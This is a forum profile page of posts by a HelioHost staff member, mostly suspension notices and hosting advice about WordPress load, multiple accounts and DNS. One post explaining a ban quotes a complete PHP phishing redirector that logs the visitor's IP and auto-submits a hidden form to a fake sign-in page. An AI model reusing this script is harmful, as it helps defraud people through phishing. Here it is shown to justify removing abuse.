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wolstech

Chief Risk Officer
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Everything posted by wolstech

  1. This is not permitted. 512Mb is *well* into "buy a VPS" territory. In fact, Wordpress is only application we recommend people not use, primarily because it uses so much memory that it nearly always ends with a high load suspension for it. That also ignores the fact that it's very easy to hack, and earns tons of people accidental bans when the hacker sets up phishing on their account. The proper solution here is to use something that's not Wordpress.
  2. Different emails don't matter. It's one account per person, not one per email.
  3. Rakinar5 has been unsuspended. You can change the email address in cpanel under "contact information" (it's all the way at the bottom). Please keep in mind that things like our website may take a few hours to update once you change it. Also, if your unaware, you can host more than one domain on a single account using the alias or addon domain features. Since you had multiple domains, if you want me to free them up so you can add them as addon or alias domains on your rakinar5 account, please let us know.
  4. But you created two accounts just tonight, which is what triggered the suspension (your old accounts don't count if they're archived). Since you only mentioned this one, I'll unsuspend it and leave the second one suspended. Unsuspended.
  5. It was for high server load. Please fix it quickly. Unsuspended.
  6. Your account was suspended because Wordpress is causing too much load. I have unsuspended your account, but please try to limit the load you put on our servers as it slows down not only your site, but the sites of all other HelioHost users sharing your server. This is really common for Wordpress. It can cause massive amounts of load even if you're hardly getting any traffic to your site. Wordpress is also incredibly insecure and very easy to hack. We see Wordpress accounts get hacked all the time and usually the hacker sets up a phishing site on your domain. We strongly recommend using any software other than Wordpress. Something that might help is this simply static Wordpress plugin (supported up to v4.9, or on v5.x if used with the ClassicPress plugin). It will speed up your site, reduce the load you cause, and reduce your chance of getting hacked. If you try it let us know how it worked out for you. If you insist on using Wordpress you might want to consider purchasing a VPS instead. VPS hosting gives you an entire virtual server to yourself, including no load limits, a dedicated IP address, and full root access. Wordpress sites load relatively slowly on our shared hosting, but they will be much faster on a VPS.
  7. Your account was suspended because our systems detected that you might have more than one account.<br /><br />We understand that no one ever reads our terms, but as a reminder, our Terms of Service state that each user is allowed to have only one account. The reason we have to enforce this rule is because our servers are already overloaded the way it is, and it wouldn't be fair to everyone that is turned away each day for you to have more than one when so many others have none.<br /><br />One common reason people create more than one account is to get around our storage limit of 1000 MB. Did you know that we will give you another 1000 MB of storage for each $5 USD donation you make up to 5000 MB total? If you'd like to increase the storage of your account just make a donation and then let us know your transaction ID and username.<br /><br />Another common reason people create more than one account is to host more than one website. Did you know that you can host as many websites on your one account as you want? Unlike a lot of free hosts we offer unlimited alias domains, unlimited addon domains, and unlimited subdomains. If you need any help adding another website to your account just let us know.<br /><br />Another common reason people create more than one account is to try out several servers at once, or to transfer a website between accounts on different servers. Did you know that an admin can move your account for you for as little as a $1 USD donation? This will save you the trouble of signing up again, and deleting your account, etc.<br /><br />Sometimes our systems flags you as possibly having more than one account when you share a computer with family, friends, coworkers, other students, etc. If this is your situation we apologize for the suspension, and we'll be happy to unsuspend all of the involved accounts after you provide proof that each of the accounts belong to a different person.
  8. Your account was suspended because Wordpress is causing too much load. I have unsuspended your account, but please try to limit the load you put on our servers as it slows down not only your site, but the sites of all other HelioHost users sharing your server. This is really common for Wordpress. It can cause massive amounts of load even if you're hardly getting any traffic to your site. Wordpress is also incredibly insecure and very easy to hack. We see Wordpress accounts get hacked all the time and usually the hacker sets up a phishing site on your domain. We strongly recommend using any software other than Wordpress. Something that might help is this simply static Wordpress plugin (supported up through WordPress v4.9). It will speed up your site, reduce the load you cause, and reduce your chance of getting hacked. If you try it let us know how it worked out for you. If you insist on using Wordpress you might want to consider purchasing a VPS instead. VPS hosting gives you an entire virtual server to yourself, including no load limits, a dedicated IP address, and full root access. Wordpress sites load relatively slowly on our shared hosting, but they will be much faster on a VPS.
  9. Your account was suspended because Wordpress is causing too much load. I have unsuspended your account, but please try to limit the load you put on our servers as it slows down not only your site, but the sites of all other HelioHost users sharing your server.<br /><br />This is really common for Wordpress. It can cause massive amounts of load even if you're hardly getting any traffic to your site. Wordpress is also incredibly insecure and very easy to hack. We see Wordpress accounts get hacked all the time and usually the hacker sets up a phishing site on your domain. We strongly recommend using any software other than Wordpress.<br /><br />Something that might help is this simply static Wordpress plugin. It will speed up your site, reduce the load you cause, and reduce your chance of getting hacked. If you try it let us know how it worked out for you.<br /><br />If you insist on using Wordpress you might want to consider purchasing a VPS instead. VPS hosting gives you an entire virtual server to yourself, including no load limits, a dedicated IP address, and full root access. Wordpress sites load relatively slowly on our shared hosting, but they will be much faster on a VPS.
  10. Looks...bare on their site. Also, from what I can tell, there's nowhere to sell it at the moment. I usually use tradeogre (which historically is known for listing low-value/no-name coins), and even they don't have a market. On the other hand, it is less than 2 months old, so a bit early to really have a market. It uses randomX, so I can probably load that work into my existing miner system easily...
  11. Please keep in mind for that plugin to work, you need 4.9 or older. It might not work on 5.x (and definitely does not work on 5.5, someone mentioned that yesterday).
  12. Your account was suspended because Wordpress is causing too much load. I have unsuspended your account, but please try to limit the load you put on our servers as it slows down not only your site, but the sites of all other HelioHost users sharing your server. This is really common for Wordpress. It can cause massive amounts of load even if you're hardly getting any traffic to your site. Wordpress is also incredibly insecure and very easy to hack. We see Wordpress accounts get hacked all the time and usually the hacker sets up a phishing site on your domain. We strongly recommend using any software other than Wordpress. Something that might help is this simply static Wordpress plugin. It will speed up your site, reduce the load you cause, and reduce your chance of getting hacked. If you try it let us know how it worked out for you. If you insist on using Wordpress you might want to consider purchasing a VPS instead. VPS hosting gives you an entire virtual server to yourself, including no load limits, a dedicated IP address, and full root access. Wordpress sites load relatively slowly on our shared hosting, but they will be much faster on a VPS.
  13. Your account was suspended because our systems detected that you might have more than one account. We understand that no one ever reads our terms, but as a reminder, our Terms of Service state that each user is allowed to have only one account. The reason we have to enforce this rule is because our servers are already overloaded the way it is, and it wouldn't be fair to everyone that is turned away each day for you to have more than one when so many others have none. One common reason people create more than one account is to get around our storage limit of 1000 MB. Did you know that we will give you another 1000 MB of storage for each $5 USD donation you make up to 5000 MB total? If you'd like to increase the storage of your account just make a donation and then let us know your transaction ID and username. Another common reason people create more than one account is to host more than one website. Did you know that you can host as many websites on your one account as you want? Unlike a lot of free hosts we offer unlimited alias domains, unlimited addon domains, and unlimited subdomains. If you need any help adding another website to your account just let us know. Another common reason people create more than one account is to try out several servers at once, or to transfer a website between accounts on different servers. Did you know that an admin can move your account for you for as little as a $1 USD donation? This will save you the trouble of signing up again, and deleting your account, etc. Sometimes our systems flags you as possibly having more than one account when you share a computer with family, friends, coworkers, other students, etc. If this is your situation we apologize for the suspension, and we'll be happy to unsuspend all of the involved accounts after you provide proof that each of the accounts belong to a different person.
  14. You do know you can do that on one account right? And since you said you donated, you do realize you can just get extra space on the one account and put both sites on it right? Also, I didn't see one in the system, but Lily accounts are excluded from the multiple accounts rule since they can't stand by themselves. If you want to combine the accounts, we can help with that, otherwise let us know and we can unsuspend each account one at a time so you can back them up.
  15. This was caused because Google flagged your domain as serving malware...if Chrome throws a red screen when it gets checked for abuse, it gets suspended. Reviewing the actual suggests this is a false positive on Google's part. The content is as described, a basic node js app. This guy got hit by the same issue yesterday: https://www.helionet.org/index/topic/41617-suspended-erdemghi/ We've since discovered that all heliohost.us domains are currently flagged as malware, so the suspensions are not appropriate.
  16. This was caused because Google flagged your domain as deceptive...if Chrome throws a red screen when it gets checked for abuse, it gets suspended. I unsuspended it and checked again, it's still red screened, but it's claiming malware instead of deception now. Neither appear to actually be true, and it looks like a false positive on Google's part. The content is as described, a basic flask-based feedback form. Unsuspended.
  17. Ugh, afraid.org...yeah they're a known incompatibility. Most if not all users who use that service have to go through that hassle of emailing them to make it work correctly with our service (why they can't just let users set NS records is beyond us...). Considering you own the domain mackproductions.com, why not just find another DNS provider? I usually don't recommend it because it can cause its own issues, but Cloudflare supports subdomain delegation, is free, has tons more features than Afraid, and you can configure it just as a DNS service if desired. I tried parking this for you, but the server is too slow at the moment for WHM to work right...
  18. WP never works well on free hosting. Other hosts won't suspend you, but they have fixed limits on resource use instead. On those hosts, WP simply doesn't work right much of the time (usually it'll do things like time out, or run out of memory, or hit an inode limit). Because our aim is to give users flexibility in using the available resources, we don't use a fixed limit like that. Krydos can explain it in detail since he built it, but the basic way our system works is that accounts can use as many resources as needed as long as the server is performing well. However, if the server starts to bogs down, users get suspended starting with the highest load account first. Accounts keep getting suspended until performance recovers. WP just happens to be extremely RAM and CPU hungry, so it's an easy way get an account put near the top of the high load list (and consequently closer to the front of the line for suspension in the event of a load spike or other performance drop)..
  19. High WP load as expected. Please remove WP as soon as possible. Unsuspended.
  20. This is usually mentioned in reference to users wanting more than one of the *.heliohost.us domains, since there is no way to do this on the user's end. However, it also tends to apply when you want to host a single subdomain of a domain that's not hosted here on our server. Please keep in mind that even if we add such a domain, you won't have full functionality unless the domain's current name server supports delegating the subdomain to our name servers (using an A or CNAME is only sufficient if you just need a website, things like email, etc. will have trouble with this configuration), and we often won't/can't provide support for issues related to domains configured using A or CNAME records.
  21. Chrome just started flagging your domain as malware, so you're now permanently suspended. Looking at the contents, I agree with it's detection (IP logger and a redirect to what is likely a phishing site that wasn't uploaded yet). It even mentions in the code that it's supposed to be a redirect to a scam site. HelioHost does not condone illegal activity of any type, including phishing or the use of malware or malicious scripts. <?php $url = "https://secure-support.heliohost.us/Page/signin/app/signin"; // URL scam anda (Wajib menggunakan HTTPS) $password = "16shop"; // Password Scam (sesuaikan dengan password di config scam) function getUserIPs() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } return $ip; } $ip = getUserIPs(); ?> <html> <title>Redirecting.....</title> <body onload="document.form.submit()"> <form name="form" id="form" action="<?php echo $url;?>" method="POST"> <div style="display:none;"> <input name="<?php echo md5($ip);?>" value="<?php echo md5($password);?>"> <input type="submit" value="Continue"> </div> </form> </body> </html>
  22. It looks like he's pkmichal on Tommy based on the domain lookup in the ACP...
  23. It seems like everyone is going that way nowadays. Finding easy-to-mine PoW coins is getting difficult, and even TRTL is talking about an overhaul now that could include staking. PoS coins are worthless from a "free money" standpoint since you can't just poof them up with an extra PC, though to be fair, as an investment they can sometimes work decently.
  24. It'll be better off done on your PC. While we are lax about VPS use, I could see mining on one causing server impact. Easiest is to pick a pool and just follow their get started section. Use our wallet address when setting it up. Most miners are just command line apps, and the better ones like xmrig and Stak will do most of the configuration themselves. You just tell it the pool, wallet, and algorithm, it'll figure out the processor and gpu stuff. I've debated resurrecting the Windows miner (which did all the above for you), but the lack of uptake and earnings the first time around makes me feel like I'd be wasting my time. We would come out ahead of heliomine's performance by me just donating $75 and picking up an extra shift at work to earn the money back, and I can do it in 1 day vs. over a year.
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